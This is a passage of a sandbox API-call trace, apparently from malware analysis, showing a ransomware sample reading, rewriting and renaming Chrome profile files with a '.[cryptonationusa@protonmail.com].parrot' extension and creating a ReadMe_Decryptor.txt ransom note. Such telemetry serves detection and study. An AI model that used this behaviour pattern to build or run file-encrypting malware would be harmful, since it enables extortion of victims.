Flags=0x0, Size=0x10) returned 0x606848 [0075.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.199] GetLastError () returned 0x0 [0075.200] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cfd40 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5cff28 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfd40 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d01f8 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff28 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x6a9fe8 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01f8 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cfd40 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x6a9fe8 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfd40 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6aae00 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6ac340 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aae00 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661270 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ac340 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x664208 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661270 | out: hHeap=0x5b0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3178058 [0075.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x664208 | out: hHeap=0x5b0000) returned 1 [0075.201] WriteFile (in: hFile=0x278, lpBuffer=0x3178060*, nNumberOfBytesToWrite=0x5128, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3178060*, lpNumberOfBytesWritten=0x18e8f4*=0x5128, lpOverlapped=0x0) returned 1 [0075.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.202] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.202] CloseHandle (hObject=0x278) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0075.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0075.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0075.203] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b260 | out: hHeap=0x5b0000) returned 1 [0075.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31898f8 | out: hHeap=0x5b0000) returned 1 [0075.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0075.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0075.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0075.205] GetFileType (hFile=0x278) returned 0x1 [0075.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a9fe8 [0075.215] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b401, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.215] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.215] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.217] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.217] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b2e9, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x2b2e9, lpOverlapped=0x0) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.219] GetLastError () returned 0x0 [0075.225] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.232] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b401, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.232] CloseHandle (hObject=0x278) returned 1 [0075.232] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a930 | out: hHeap=0x5b0000) returned 1 [0075.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31898f8 | out: hHeap=0x5b0000) returned 1 [0075.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ba0e0 | out: hHeap=0x5b0000) returned 1 [0075.239] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19118, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.239] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.240] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.241] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.241] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x19000, lpOverlapped=0x0) returned 1 [0075.246] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.250] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.250] CloseHandle (hObject=0x278) returned 1 [0075.251] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b260 | out: hHeap=0x5b0000) returned 1 [0075.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31898f8 | out: hHeap=0x5b0000) returned 1 [0075.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2250f70 | out: hHeap=0x5b0000) returned 1 [0075.257] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1547, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.257] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.257] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.258] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.258] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x142f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x142f, lpOverlapped=0x0) returned 1 [0075.259] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.259] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1547, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.259] CloseHandle (hObject=0x278) returned 1 [0075.260] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0075.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31898f8 | out: hHeap=0x5b0000) returned 1 [0075.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad248 | out: hHeap=0x5b0000) returned 1 [0075.262] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.262] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.262] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.263] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.263] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A058.tmp", cAlternateFileName="")) returned 1 [0075.263] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 1 [0075.264] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 0 [0075.264] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.264] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.264] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A058.tmp", cAlternateFileName="")) returned 1 [0075.264] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 1 [0075.264] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 0 [0075.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.264] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0075.265] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsOld", cAlternateFileName="JUMPLI~1")) returned 1 [0075.265] lstrcmpW (lpString1="JumpListIconsOld", lpString2=".") returned 1 [0075.265] lstrcmpW (lpString1="JumpListIconsOld", lpString2="..") returned 1 [0075.265] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.265] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.265] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.265] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B03.tmp", cAlternateFileName="")) returned 1 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 1 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 0 